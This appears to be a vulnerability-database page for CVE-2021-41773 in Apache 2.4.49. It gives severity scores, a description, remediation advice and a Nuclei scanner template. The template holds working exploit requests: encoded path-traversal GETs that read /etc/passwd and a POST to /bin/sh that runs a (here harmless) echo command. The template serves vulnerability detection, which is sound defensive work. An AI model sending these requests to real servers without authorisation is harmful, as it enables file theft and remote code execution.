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nucleiProjectDiscoveryNUCLEI:CVE-2021-41773
HistoryOct 05, 2021 - 2:49 p.m.

Apache 2.4.49 - Path Traversal and Remote Code Execution

2021-10-0514:49:36
ProjectDiscovery
github.com
27

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:N/A:N

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AI Score

7.8

Confidence

High

EPSS

0.975

Percentile

100.0%

A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
id: CVE-2021-41773

info:
  name: Apache 2.4.49 - Path Traversal and Remote Code Execution
  author: daffainfo,666asd
  severity: high
  description: |
    A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and remote code execution.
  remediation: |
    Upgrade Apache to version 2.4.50 or apply the relevant patch provided by the vendor.
  reference:
    - https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41773
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
    - https://twitter.com/ptswarm/status/1445376079548624899
    - https://twitter.com/h4x0r_dz/status/1445401960371429381
    - https://github.com/blasty/CVE-2021-41773
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-41773
    cwe-id: CWE-22
    epss-score: 0.97456
    epss-percentile: 0.9995
    cpe: cpe:2.3:a:apache:http_server:2.4.49:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: apache
    product: http_server
    shodan-query:
      - Apache 2.4.49
      - cpe:"cpe:2.3:a:apache:http_server"
      - apache 2.4.49
  tags: cve2021,cve,lfi,rce,apache,misconfig,traversal,kev
variables:
  cmd: "echo COP-37714-1202-EVC | rev"

http:
  - raw:
      - |
        GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        echo Content-Type: text/plain; echo; {{cmd}}

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        name: RCE
        words:
          - "CVE-2021-41773-POC"

      - type: regex
        name: LFI
        regex:
          - "root:.*:0:0:"
# digest: 4a0a00473045022100f9785988fba09605f9285153e188d8ce7959c6226d6bf4f905555bc37b8e1d71022052f699c19b5dd9dbf0bfc83e5772c2ebaea94ce0543c8ec0d13ca0a9334572ef:922c64590222798bb761d5b6d8e72950

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:N/A:N

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AI Score

7.8

Confidence

High

EPSS

0.975

Percentile

100.0%